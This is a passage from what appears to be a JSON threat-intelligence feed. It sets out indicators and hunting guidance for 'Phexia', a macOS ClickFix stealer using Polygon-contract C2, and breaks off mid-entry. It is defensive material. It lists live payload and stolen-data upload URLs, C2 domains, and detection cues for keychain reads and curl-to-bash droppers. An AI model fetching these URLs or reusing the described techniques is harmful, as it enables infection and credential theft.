"name": "Varonis" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/hunt.kql", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/hunt.spl", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/hunt_raw.spl", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/NotC2-AWS-Native-AI-C2-Proof-of-Concept/hunt.yaral", "download": "NotC2-AWS-Native-AI-C2-Proof-of-Concept_hunt.yaral" } ] }, { "id": "Phexia-macOS-ClickFix-Stealer-Polygon-C2", "folder": "threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2", "name": "Phexia: macOS ClickFix Stealer with Polygon C2", "short": "Phexia macOS ClickFix stealer", "category": "Malware / macOS", "published": "2026-11-04", "entry_date": "2026-11-10 15:14", "last_updated": "2026-11-10", "seq": 8, "headline": "macOS ClickFix backdoor and stealer that resolves C2 from a Polygon smart contract", "summary": "Phexia is a modular macOS backdoor and infostealer sold to several criminal groups and delivered through ClickFix lures that get the victim to paste a curl-to-bash command into Terminal. WithSecure has tracked infections since late 2025, with a growing number of cases in 2026. From May 2026 the latest builds have fetched their C2 hostname from a Polygon smart contract (EtherHiding) rather than a hardcoded domain, so taking a C2 domain down does not stop new lookups. Once running, the backdoor steals the login password, keychain material, and browser and password-manager data, and has been used to deploy the XMRig Monero miner. A second contract appeared in a build installed on 27 October 2026. Older C2 domains can remain in use after the contract changes, and reinfection can leave more than one build active on the same Mac.", "caveat": null, "targets": { "countries": [], "regions": [], "sectors": [], "note": "WithSecure describes macOS users reached through ClickFix lures, without naming countries or sectors.", "source": { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "name": "WithSecure" } }, "mitre": [ { "id": "T1204.004", "name": "Malicious Copy and Paste", "url": "https://attack.mitre.org/techniques/T1204/004/" }, { "id": "T1059.002", "name": "AppleScript", "url": "https://attack.mitre.org/techniques/T1059/002/" }, { "id": "T1543.001", "name": "Launch Agent", "url": "https://attack.mitre.org/techniques/T1543/001/" }, { "id": "T1102.001", "name": "Dead Drop Resolver", "url": "https://attack.mitre.org/techniques/T1102/001/" }, { "id": "T1555.001", "name": "Keychain", "url": "https://attack.mitre.org/techniques/T1555/001/" }, { "id": "T1041", "name": "Exfiltration Over C2 Channel", "url": "https://attack.mitre.org/techniques/T1041/" }, { "id": "T1496.001", "name": "Compute Hijacking", "url": "https://attack.mitre.org/techniques/T1496/001/" } ], "recommended_actions": [ "Block the C2 and delivery domains and the stolen-data upload address 62.60.226.50; do not block the public Polygon RPC endpoints or the mining pools, which are legitimate services.", "Hunt DeviceProcessEvents for a Terminal-spawned curl piped to bash, osascript droppers, dscl . authonly password checks, security find-generic-password keychain reads, and eth_call lookups of the published Polygon contracts.", "Inspect ~/Library/LaunchAgents for com.<16 lowercase letters> and com.Apple.<16 lowercase letters> plists whose arguments pipe base64 into osascript; unload each confirmed job before deleting it, and look for more than one build.", "On a confirmed infection, collect ~/.passphrase, ~/.txid and the staging folders, then from a trusted device reset affected passwords, revoke sessions and tokens, and check for XMRig under /tmp/rigupdater or /tmp/applecomlistupdate." ], "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1961557/", "label": "threatfox.abuse.ch", "name": "ThreatFox" }, { "url": "https://threatfox.abuse.ch/ioc/1958209/", "label": "threatfox.abuse.ch", "name": "ThreatFox (2)" }, { "url": "https://threatfox.abuse.ch/ioc/1958210/", "label": "threatfox.abuse.ch", "name": "ThreatFox (3)" }, { "url": "https://threatfox.abuse.ch/ioc/1958214/", "label": "threatfox.abuse.ch", "name": "ThreatFox (4)" }, { "url": "https://threatfox.abuse.ch/ioc/1894518/", "label": "threatfox.abuse.ch", "name": "ThreatFox (5)" }, { "url": "https://threatfox.abuse.ch/ioc/1958215/", "label": "threatfox.abuse.ch", "name": "ThreatFox (6)" }, { "url": "https://threatfox.abuse.ch/ioc/1903606/", "label": "threatfox.abuse.ch", "name": "ThreatFox (7)" }, { "url": "https://threatfox.abuse.ch/ioc/1911080/", "label": "threatfox.abuse.ch", "name": "ThreatFox (8)" }, { "url": "https://threatfox.abuse.ch/ioc/1945199/", "label": "threatfox.abuse.ch", "name": "ThreatFox (9)" }, { "url": "https://threatfox.abuse.ch/ioc/1962523/", "label": "threatfox.abuse.ch", "name": "ThreatFox (10)" }, { "url": "https://threatfox.abuse.ch/ioc/1979544/", "label": "threatfox.abuse.ch", "name": "ThreatFox (11)" }, { "url": "https://threatfox.abuse.ch/ioc/1979719/", "label": "threatfox.abuse.ch", "name": "ThreatFox (12)" }, { "url": "https://threatfox.abuse.ch/ioc/1982957/", "label": "threatfox.abuse.ch", "name": "ThreatFox (13)" }, { "url": "https://threatfox.abuse.ch/ioc/2021621/", "label": "threatfox.abuse.ch", "name": "ThreatFox (14)" }, { "url": "https://threatfox.abuse.ch/ioc/1979554/", "label": "threatfox.abuse.ch", "name": "ThreatFox (15)" } ], "indicator_count": 48, "block_now_count": 25, "hunt_count": 23, "hunt_counts": { "monitor": 13, "alert": 10 }, "indicator_counts": { "domain": 24, "filename": 12, "other": 4, "eth_address": 2, "url": 2, "xmr_address": 2, "function_selector": 1, "ipv4": 1 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/block_now.txt", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/defender_xdr_indicators.csv", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/hunt.kql", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/hunt.spl", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/hunt_raw.spl", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/hunt.yaral", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/iocs.csv", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2", "share_url": "https://iocwatch.com/t/Phexia-macOS-ClickFix-Stealer-Polygon-C2/", "indicators": [ { "value": "hf98x4d.site", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 14 Jun 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1961557/", "name": "ThreatFox" } ] }, { "value": "apdhlhs3.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 6 Jul 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1958209/", "name": "ThreatFox" } ] }, { "value": "j9af4sr.guru", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 16 Jul 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1958210/", "name": "ThreatFox" } ] }, { "value": "67sixcebeh.surf", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 27 Jul 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1958214/", "name": "ThreatFox" } ] }, { "value": "stv4ec5.shop", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 4 Aug 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1894518/", "name": "ThreatFox" } ] }, { "value": "vg5sgxv.lol", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 25 Aug 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1958215/", "name": "ThreatFox" } ] }, { "value": "d9mjs.sbs", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 7 Sep 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1903606/", "name": "ThreatFox" } ] }, { "value": "jse8x92s.me", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 11 Sep 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1911080/", "name": "ThreatFox" } ] }, { "value": "couhe79.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 2 Oct 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1945199/", "name": "ThreatFox" } ] }, { "value": "xzttyt.xyz", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 12 Oct 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1962523/", "name": "ThreatFox" } ] }, { "value": "secdarvin2026.icu", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 20 Oct 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1979544/", "name": "ThreatFox" } ] }, { "value": "oreshnik.top", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 22 Oct 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1979719/", "name": "ThreatFox" } ] }, { "value": "svo-zv.pro", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 24 Oct 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1982957/", "name": "ThreatFox" } ] }, { "value": "dhsbdgs.icu", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Phexia C2 domain first seen in WithSecure telemetry on 27 Oct 2026. This hostname was resolved from the second Polygon contract.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/2021621/", "name": "ThreatFox" } ] }, { "value": "hackersteersman.digital", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host from which the ClickFix-pasted command downloaded a first-stage shell script (update.sh, script.sh, clear-cache.sh or Terminal.sh).", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "coeuzgoq.bahisbiz.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host from which the ClickFix-pasted command downloaded a first-stage shell script (update.sh, script.sh, clear-cache.sh or Terminal.sh).", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "kefavkd.nextbahis.sex", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host from which the ClickFix-pasted command downloaded a first-stage shell script (update.sh, script.sh, clear-cache.sh or Terminal.sh).", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "d9j.everunningshoes.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host from which the ClickFix-pasted command downloaded a first-stage shell script (update.sh, script.sh, clear-cache.sh or Terminal.sh).", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "nox.usa-synadentix.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host from which the ClickFix-pasted command downloaded a first-stage shell script (update.sh, script.sh, clear-cache.sh or Terminal.sh).", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "zwa8.meritbethizligir.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host from which the ClickFix-pasted command downloaded a first-stage shell script (update.sh, script.sh, clear-cache.sh or Terminal.sh).", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "355uz90z.bolnhurstrally.site", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host from which the ClickFix-pasted command downloaded a first-stage shell script (update.sh, script.sh, clear-cache.sh or Terminal.sh).", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "7ulk.irvinaurus.fit", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Delivery host from which the ClickFix-pasted command downloaded a first-stage shell script (update.sh, script.sh, clear-cache.sh or Terminal.sh).", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "https://coeuzgoq.bahisbiz.com//update.sh", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Exact first-stage URL, including the double slash, downloaded on 6 Jul 2026; WithSecure says it matches public reporting from that day.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "62.60.226.50", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Second upload server used to exfiltrate stolen-data archives over unencrypted HTTP to /upload.php.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "http://62.60.226.50/upload.php", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Plain-HTTP upload URL on 62.60.226.50 that received the same /tmp/*.zip stolen-data archive as the C2 upload.php.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" }, { "url": "https://threatfox.abuse.ch/ioc/1979554/", "name": "ThreatFox" } ] }, { "value": "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0", "type": "eth_address", "confidence": "high", "recommended_action": "monitor", "description": "Polygon smart contract used as the Phexia C2 dead-drop from June to October 2026; queried with selector 0x2686ecea (getServerURL()). Hunt for eth_call; do not block.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "0x3445fB8Df432320251f611e691fe6B0C6664C960", "type": "eth_address", "confidence": "high", "recommended_action": "monitor", "description": "Second Polygon C2 dead-drop contract, queried by a build installed on 27 Oct 2026; resolved to dhsbdgs.icu. Hunt for eth_call; do not block.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "0x2686ecea", "type": "function_selector", "confidence": "high", "recommended_action": "monitor", "description": "ABI function selector for getServerURL(), sent as eth_call data against the published Polygon contracts to retrieve the C2 hostname.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "polygon.drpc.org", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Legitimate public Polygon RPC endpoint used by the Phexia loader for eth_call C2 resolution. Treat as suspicious only when contacted by non-browser processes such as osascript; do not block.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "polygon.publicnode.com", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Legitimate public Polygon RPC endpoint used by the Phexia loader for eth_call C2 resolution. Treat as suspicious only when contacted by non-browser processes such as osascript; do not block.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "polygon-mainnet.gateway.tatum.io", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Legitimate public Polygon RPC endpoint used by the Phexia loader for eth_call C2 resolution. Treat as suspicious only when contacted by non-browser processes such as osascript; do not block.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "tenderly.rpc.polygon.community", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Legitimate public Polygon RPC endpoint used by the Phexia loader for eth_call C2 resolution. Treat as suspicious only when contacted by non-browser processes such as osascript; do not block.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "pool.hashvault.sh", "type": "domain", "confidence": "high", "recommended_action": "alert", "description": "Legitimate HashVault Monero pool (TLS port 443) used by XMRig deployed through Phexia ledger and shell tasking from 20 Oct 2026. Alert; do not block the pool for all traffic.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "pool.supportxmr.com", "type": "domain", "confidence": "high", "recommended_action": "alert", "description": "Legitimate SupportXMR Monero pool (port 3333) used by XMRig deployed through Phexia from 26 Oct 2026. Alert; do not block the pool for all traffic.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L", "type": "xmr_address", "confidence": "high", "recommended_action": "monitor", "description": "Monero wallet used by XMRig first observed on 20 Oct 2026 via pool.hashvault.sh, and still used on 26 Oct 2026 after the switch to pool.supportxmr.com.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "82hSZSZNcbCdWd3ESkMDnC5cegaJnFhcG8PUBkMPof5mEdMDCF8cLcE1QuW4h82ggwi4qtfnRwMEgZPKQEnogkvmLFuRLFv", "type": "xmr_address", "confidence": "high", "recommended_action": "monitor", "description": "Second Monero wallet used by XMRig, first observed on 26 Oct 2026 via pool.supportxmr.com.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "update.sh", "type": "filename", "confidence": "med", "recommended_action": "monitor", "description": "Often used name of the first-stage shell script downloaded by the pasted Terminal command. Common script name: hunt it only in a Terminal curl-to-bash chain, do not block by name.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "script.sh", "type": "filename", "confidence": "med", "recommended_action": "monitor", "description": "First-stage shell script name also observed; earlier infections used this form, including a May pre-Polygon sample. Common script name: hunt it only in a Terminal curl-to-bash chain, do not block by name.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "clear-cache.sh", "type": "filename", "confidence": "med", "recommended_action": "monitor", "description": "First-stage shell script name also observed on delivery hosts. Common script name: hunt it only in a Terminal curl-to-bash chain, do not block by name.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": 